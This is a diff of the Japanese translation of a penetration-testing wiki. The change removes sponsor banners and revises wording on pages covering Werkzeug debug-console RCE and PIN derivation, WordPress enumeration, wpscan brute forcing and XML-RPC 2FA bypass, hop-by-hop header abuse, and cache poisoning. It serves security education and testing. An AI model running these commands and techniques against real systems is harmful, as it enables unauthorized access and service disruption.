テスト目的のための潜在的なAPIエンドポイントのキュレーションリストです ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 +- **OWASP API Security Top 10**: 一般的なAPIの脆弱性を理解するための必読書です ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: APIを保護するための包括的なチェックリストです ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: APIの脆弱性を探すために、Logger++は便利なフィルターを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントのキュレーションされたリストです ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## 参考文献 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) -
- -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 6fd57702c..03afcb09d 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -1,18 +1,10 @@ -# Werkzeug / Flask Debug +# Werkzeug / Flask デバッグ {{#include ../../banners/hacktricks-training.md}} -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## コンソール RCE -デバッグがアクティブな場合、`/console` にアクセスして RCE を取得することを試みることができます。 +デバッグが有効な場合、`/console` にアクセスして RCE を取得することができます。 ```python __import__('os').popen('whoami').read(); ``` @@ -26,13 +18,13 @@ __import__('os').popen('whoami').read(); ### Werkzeug コンソール PIN エクスプロイト -アプリでデバッグエラーページを強制的に表示させて、これを確認します: +アプリでデバッグエラーページを強制的に表示させて、これを確認します: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためのPINが必要であることを示しています。コンソールPINを悪用する提案は、Werkzeugのデバッグ初期化ファイル(`__init__.py`)におけるPIN生成アルゴリズムを分析することによって行われます。PIN生成メカニズムは、[**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。 +"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためのPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル(`__init__.py`)におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。 コンソールPINを悪用するには、`probably_public_bits` と `private_bits` の2セットの変数が必要です: @@ -40,14 +32,14 @@ shell that runs the server - **`username`**: Flaskセッションを開始したユーザーを指します。 - **`modname`**: 通常は `flask.app` と指定されます。 -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的には **Flask** に解決されます。 -- **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の `app.py` へのフルパスを表します(例: `/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が適用できない場合は、**`app.pyc` を試してください**。 +- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的に **Flask** に解決されます。 +- **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の `app.py` へのフルパスを表します(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が適用できない場合は、**`app.pyc` を試してください**。 #### **`private_bits`** - **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())` によって10進形式に変換されます。 -- **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例: `ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp` をリークしてデバイスIDを見つけ、次に **`/sys/class/net//address`** からMACアドレスを抽出します**。 +- **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例:`ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp` を漏洩させてデバイスIDを見つけ、次に **`/sys/class/net//address`** からMACアドレスを抽出します**。 - 16進数のMACアドレスを10進数に変換する方法は以下の通りです: ```python @@ -155,9 +147,9 @@ print(rv) ## Werkzeug Unicode文字 -[**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれているリクエストを閉じません。また、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。 +[**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。 -これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 +これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、サーバーが**壊れる**ことがあるためです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 ## 自動化された悪用 @@ -170,12 +162,4 @@ print(rv) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化された悪用を使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えるために、20以上のカスタムツールを使用してください。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 69d2fa8a6..f29466b05 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -2,18 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - ## 基本情報 - **アップロードされた**ファイルは次の場所にあります: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **テーマファイルは/wp-content/themes/にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば: **テーマtwentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **テーマファイルは /wp-content/themes/ にあります。** したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、**テーマ twentytwelve**を使用すると、次の場所にある**404.php**ファイルに**アクセス**できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **別の便利なURLは次のとおりです:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -23,9 +15,9 @@ ### **主なWordPressファイル** - `index.php` -- `license.txt`には、インストールされているWordPressのバージョンなどの有用な情報が含まれています。 +- `license.txt`には、インストールされたWordPressのバージョンなどの有用な情報が含まれています。 - `wp-activate.php`は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。 -- ログインフォルダ(隠すために名前が変更される場合があります): +- ログインフォルダ(隠すために名前が変更されることがあります): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` @@ -34,7 +26,7 @@ - `wp-content`フォルダは、プラグインとテーマが保存される主なディレクトリです。 - `wp-content/uploads/`は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-includes/`は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。 -- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開クエリ可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。 +- `wp-sitemap.xml`は、Wordpressバージョン5.5以降、Wordpressがすべての公開投稿と公開可能な投稿タイプおよび分類のXMLサイトマップファイルを生成します。 **ポストエクスプロイト** @@ -43,14 +35,14 @@ ### ユーザー権限 - **管理者** -- **エディター**: 自分と他の投稿を公開および管理 +- **編集者**: 自分と他の投稿を公開および管理 - **著者**: 自分の投稿を公開および管理 - **寄稿者**: 自分の投稿を書くことができ、管理するが、公開することはできない - **購読者**: 投稿をブラウズし、自分のプロフィールを編集 ## **パッシブ列挙** -### **WordPressのバージョンを取得** +### **WordPressバージョンの取得** `/license.txt`または`/readme.html`ファイルを見つけられるか確認します。 @@ -85,23 +77,15 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - ## アクティブ列挙 ### プラグインとテーマ -すべてのプラグインとテーマを見つけることはできないでしょう。すべてを発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(幸いなことに、このリストを含む自動化ツールがあります)。 +すべてのプラグインとテーマを見つけることはおそらくできません。すべてを発見するためには、**プラグインとテーマのリストをアクティブにブルートフォースする必要があります**(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。 ### ユーザー -- **IDブルート:** WordPressサイトからユーザーIDをブルートフォースすることで有効なユーザーを取得します: +- **IDブルート:** ユーザーIDをブルートフォースすることで、WordPressサイトから有効なユーザーを取得します: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -119,7 +103,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL また、**/wp-json/wp/v2/pages** はIPアドレスを漏洩する可能性があります。 -- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**ユーザー名が存在するかどうか**で**異なります**。 +- **ログインユーザー名の列挙**: **`/wp-login.php`** にログインすると、**メッセージ**は**指定されたユーザー名が存在するかどうか**で**異なります**。 ### XML-RPC @@ -190,7 +174,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **2FAのバイパス** -この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできるかもしれません**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。 +この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、**xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります**。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているように、RCEに到達できる可能性があります。 **DDoSまたはポートスキャン** @@ -229,7 +213,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL このファイルが**アクセス**されると、 "**重い**" MySQL **クエリ**が実行されるため、**攻撃者**によって**DoS**を**引き起こす**ために使用される可能性があります。\ また、デフォルトでは、`wp-cron.php`はすべてのページロード時に呼び出されます(クライアントが任意のWordpressページをリクエストするたびに)、高トラフィックのサイトでは問題を引き起こす可能性があります(DoS)。 -Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします(問題を引き起こさないように)。 +Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします(問題を引き起こさずに)。 ### /wp-json/oembed/1.0/proxy - SSRF @@ -251,9 +235,9 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## ビットを上書きしてアクセスを得る +## ビットを上書きしてアクセスを取得する -これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができます。 +これは実際の攻撃というよりは好奇心です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転させてNOT (`!`) 操作をNOPにすることができました。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -352,21 +336,21 @@ Wordpressプラグインがどのように機能を露出させるかを知る - **`wp_ajax`** -プラグインが機能をユーザーに露出させる方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**Wordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります(役割に関係なく)。 +プラグインが機能をユーザーに露出させる方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された**任意のユーザーが持っている可能性のある**wordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります(役割に関係なく)。 これらは、プラグイン内で機能を露出させるために使用できる関数です: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv`の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)によってアクセス可能になります。** +**`nopriv`の使用により、エンドポイントはすべてのユーザー(未認証のユーザーも含む)がアクセス可能になります。** > [!CAUTION] -> さらに、関数が単に`wp_verify_nonce`関数を使用してユーザーの認証を確認している場合、この関数は通常、ユーザーがログインしているかどうかを確認するだけで、ユーザーの役割を確認しているわけではありません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 +> さらに、関数が単に`wp_verify_nonce`関数を使用してユーザーの認証を確認している場合、この関数はユーザーがログインしているかどうかを確認するだけであり、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。 - **REST API** -`register_rest_route`関数を使用して、wordpressから関数を公開することも可能です。 +`register_rest_route`関数を使用して、WordPressから関数を公開することも可能です。 ```php register_rest_route( $this->namespace, '/get/', array( @@ -407,15 +391,7 @@ add_filter( 'auto_update_theme', '__return_true' ); - デフォルトの**admin**ユーザーを削除する - **強力なパスワード**と**2FA**を使用する - 定期的にユーザーの**権限**を**レビュー**する -- ブルートフォース攻撃を防ぐために**ログイン試行回数を制限**する +- ブルートフォース攻撃を防ぐために**ログイン試行回数**を制限する - **`wp-admin.php`**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。 -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress)を使用して、世界で**最も先進的な**コミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**してください。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md index 08853586f..f20ae4dec 100644 --- a/src/pentesting-web/abusing-hop-by-hop-headers.md +++ b/src/pentesting-web/abusing-hop-by-hop-headers.md @@ -2,53 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。 - -{% embed url="https://www.rootedcon.com/" %} - --- **この記事の要約** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) -Hop-by-hop ヘッダーは、特定のトランスポートレベルの接続に特有で、主に HTTP/1.1 で二つのノード(クライアント-プロキシやプロキシ-プロキシ)間のデータを管理するために使用され、転送されることを意図していません。標準の hop-by-hop ヘッダーには、`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization`、および `Proxy-Authenticate` が含まれ、[RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1) で定義されています。追加のヘッダーは、`Connection` ヘッダーを介して hop-by-hop として指定できます。 +Hop-by-hopヘッダーは、特定のトランスポートレベルの接続に特有で、主にHTTP/1.1で2つのノード(クライアント-プロキシやプロキシ-プロキシ)間のデータを管理するために使用され、転送されることを意図していません。標準のhop-by-hopヘッダーには、`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization`、および`Proxy-Authenticate`が含まれ、[RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)で定義されています。追加のヘッダーは、`Connection`ヘッダーを介してhop-by-hopとして指定できます。 -### Hop-by-Hop ヘッダーの悪用 +### Hop-by-Hopヘッダーの悪用 -プロキシによる hop-by-hop ヘッダーの不適切な管理は、セキュリティ問題を引き起こす可能性があります。プロキシはこれらのヘッダーを削除することが期待されていますが、すべてのプロキシがそうするわけではなく、潜在的な脆弱性を生じさせます。 +プロキシによるhop-by-hopヘッダーの不適切な管理は、セキュリティ上の問題を引き起こす可能性があります。プロキシはこれらのヘッダーを削除することが期待されていますが、すべてのプロキシがそうするわけではなく、潜在的な脆弱性を生じさせます。 -### Hop-by-Hop ヘッダー処理のテスト +### Hop-by-Hopヘッダー処理のテスト -特定のヘッダーが hop-by-hop としてマークされるときのサーバーの応答の変化を観察することで、hop-by-hop ヘッダーの処理をテストできます。ツールやスクリプトを使用してこのプロセスを自動化し、プロキシがこれらのヘッダーをどのように管理しているかを特定し、誤設定やプロキシの動作を明らかにすることができます。 +特定のヘッダーがhop-by-hopとしてマークされたときのサーバーの応答の変化を観察することで、hop-by-hopヘッダーの処理をテストできます。ツールやスクリプトを使用してこのプロセスを自動化し、プロキシがこれらのヘッダーをどのように管理しているかを特定し、誤設定やプロキシの動作を明らかにすることができます。 -Hop-by-hop ヘッダーの悪用は、さまざまなセキュリティ上の影響を引き起こす可能性があります。以下は、これらのヘッダーが潜在的な攻撃のためにどのように操作されるかを示すいくつかの例です。 +Hop-by-hopヘッダーの悪用は、さまざまなセキュリティ上の影響を引き起こす可能性があります。以下は、これらのヘッダーが潜在的な攻撃のためにどのように操作されるかを示すいくつかの例です。 -### `X-Forwarded-For` を使用したセキュリティ制御の回避 +### `X-Forwarded-For`によるセキュリティ制御の回避 -攻撃者は、`X-Forwarded-For` ヘッダーを操作して IP ベースのアクセス制御を回避できます。このヘッダーは、プロキシがクライアントの発信元 IP アドレスを追跡するために使用されることが多いです。しかし、プロキシがこのヘッダーを hop-by-hop として扱い、適切な検証なしに転送する場合、攻撃者は自分の IP アドレスを偽装できます。 +攻撃者は、`X-Forwarded-For`ヘッダーを操作してIPベースのアクセス制御を回避できます。このヘッダーは、プロキシがクライアントの発信IPアドレスを追跡するために使用されることがよくあります。しかし、プロキシがこのヘッダーをhop-by-hopとして扱い、適切な検証なしに転送すると、攻撃者は自分のIPアドレスを偽装できます。 -**攻撃シナリオ:** +**攻撃シナリオ:** -1. 攻撃者は、プロキシの背後にあるウェブアプリケーションに対して、`X-Forwarded-For` ヘッダーに偽の IP アドレスを含む HTTP リクエストを送信します。 -2. 攻撃者は、`Connection: close, X-Forwarded-For` ヘッダーも含め、プロキシに `X-Forwarded-For` を hop-by-hop として扱うよう促します。 -3. 誤設定されたプロキシは、偽装された `X-Forwarded-For` ヘッダーなしでリクエストをウェブアプリケーションに転送します。 -4. ウェブアプリケーションは、元の `X-Forwarded-For` ヘッダーを見ていないため、リクエストが信頼されたプロキシから直接来たものと見なす可能性があり、無許可のアクセスを許可することがあります。 +1. 攻撃者は、プロキシの背後にあるWebアプリケーションにHTTPリクエストを送信し、`X-Forwarded-For`ヘッダーに偽のIPアドレスを含めます。 +2. 攻撃者は、`Connection: close, X-Forwarded-For`ヘッダーも含め、プロキシに`X-Forwarded-For`をhop-by-hopとして扱うよう促します。 +3. 誤設定されたプロキシは、偽装された`X-Forwarded-For`ヘッダーなしでリクエストをWebアプリケーションに転送します。 +4. Webアプリケーションは、元の`X-Forwarded-For`ヘッダーを見ていないため、リクエストが信頼されたプロキシから直接来たものと見なす可能性があり、無許可のアクセスを許可することがあります。 -### Hop-by-Hop ヘッダー注入によるキャッシュポイズニング +### Hop-by-Hopヘッダー注入によるキャッシュポイズニング -キャッシュサーバーが hop-by-hop ヘッダーに基づいてコンテンツを誤ってキャッシュすると、攻撃者は悪意のあるヘッダーを注入してキャッシュを汚染する可能性があります。これにより、同じリソースを要求するユーザーに誤ったまたは悪意のあるコンテンツが提供されます。 +キャッシュサーバーがhop-by-hopヘッダーに基づいてコンテンツを誤ってキャッシュすると、攻撃者は悪意のあるヘッダーを注入してキャッシュを汚染する可能性があります。これにより、同じリソースを要求するユーザーに不正確または悪意のあるコンテンツが提供されます。 -**攻撃シナリオ:** +**攻撃シナリオ:** -1. 攻撃者は、キャッシュされるべきでない hop-by-hop ヘッダー(例: `Connection: close, Cookie`)を含むリクエストをウェブアプリケーションに送信します。 -2. 不適切に設定されたキャッシュサーバーは、hop-by-hop ヘッダーを削除せず、攻撃者のセッションに特化した応答をキャッシュします。 +1. 攻撃者は、キャッシュされるべきでないhop-by-hopヘッダー(例:`Connection: close, Cookie`)を含むリクエストをWebアプリケーションに送信します。 +2. 不適切に設定されたキャッシュサーバーは、hop-by-hopヘッダーを削除せず、攻撃者のセッションに特化した応答をキャッシュします。 3. 同じリソースを要求する将来のユーザーは、攻撃者向けに調整されたキャッシュされた応答を受け取り、セッションハイジャックや機密情報の露出につながる可能性があります。 -
- -[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。 - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 60304cdf0..c40a8741b 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -2,14 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} - ## 違い > **ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか?** @@ -29,19 +21,19 @@ ### 発見:HTTPヘッダーを確認 -通常、**キャッシュに保存された**応答には**それを示すヘッダーが存在**します。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 +通常、**キャッシュに保存された**応答には、**それを示すヘッダー**があります。この投稿で注意すべきヘッダーを確認できます:[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 ### 発見:キャッシュエラーコード -応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかります(DoSを実行することも可能です)。 +応答がキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると、**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**応答が400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。 -詳細なオプションは以下で見つけることができます: +さらにオプションを見つけることができます: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -ただし、**時にはこれらのステータスコードがキャッシュされないことがある**ため、このテストは信頼できない可能性があります。 +ただし、**これらの種類のステータスコードがキャッシュされないこともある**ため、このテストは信頼できない可能性があります。 ### 発見:キーのない入力を特定し評価する @@ -51,16 +43,16 @@ cache-poisoning-to-dos.md ``` ### バックエンドサーバーから有害な応答を引き出す -パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますか(XSSを実行する、またはあなたが制御するJSコードを読み込む? DoSを実行する?...) +パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているか、または影響を与えているかを確認します。これを悪用することはできますか(XSSを実行するか、あなたが制御するJSコードを読み込むか? DoSを実行するか?...) ### 応答をキャッシュさせる -悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**悪用方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 +悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、およびそれを**悪用する方法**を**特定**したら、ページをキャッシュさせる必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 -応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\ -ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800` +応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\ +ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800` -もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加ヘッダー**を**示すため**にしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っているユーザーは、その特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。 